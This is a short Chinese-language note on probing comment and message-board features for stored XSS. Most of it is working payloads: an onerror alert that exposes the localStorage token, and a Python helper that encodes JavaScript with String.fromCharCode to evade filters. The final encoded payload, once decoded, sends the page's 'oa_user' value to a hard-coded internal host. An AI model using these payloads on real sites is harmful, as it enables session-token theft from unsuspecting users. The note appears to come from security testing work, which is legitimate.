存储型XSS漏洞

留言板，评论区功能。如果发现提交到服务器的方式是以html来的，就有可能有几率有存储型XSS漏洞。
通过跟踪请求然后把提交的内容改成以下这样来测试，看后端有无过滤

--data-raw '{"comment":"{\"html\":\"<img src=x onerror=alert(localStorage.getItem(\\\"token\\\"))>\"}"}'

如果过滤得比较多。可以考虑把js代码 转成 ascii 来绕过看看

code = "new Image().src='http://127.0.0.1/?token='+encodeURIComponent(JSON.stringify(localStorage.getItem('token')))"
encoded = ",".join(str(ord(c)) for c in code)
print(f"eval(String.fromCharCode({encoded}))")
转完后构造payload试试看

--data-raw '{"comment":"{\"html\":\"<img src=x onerror=\\\"eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,46,56,58,49,48,49,48,49,47,57,51,50,73,110,116,102,47,66,83,87,77,83,115,101,114,118,105,99,101,47,63,110,111,116,117,114,108,99,111,100,101,61,49,38,116,111,107,101,110,61,39,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,74,83,79,78,46,115,116,114,105,110,103,105,102,121,40,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,39,111,97,95,117,115,101,114,39,41,41,41));\\\">\"}"}'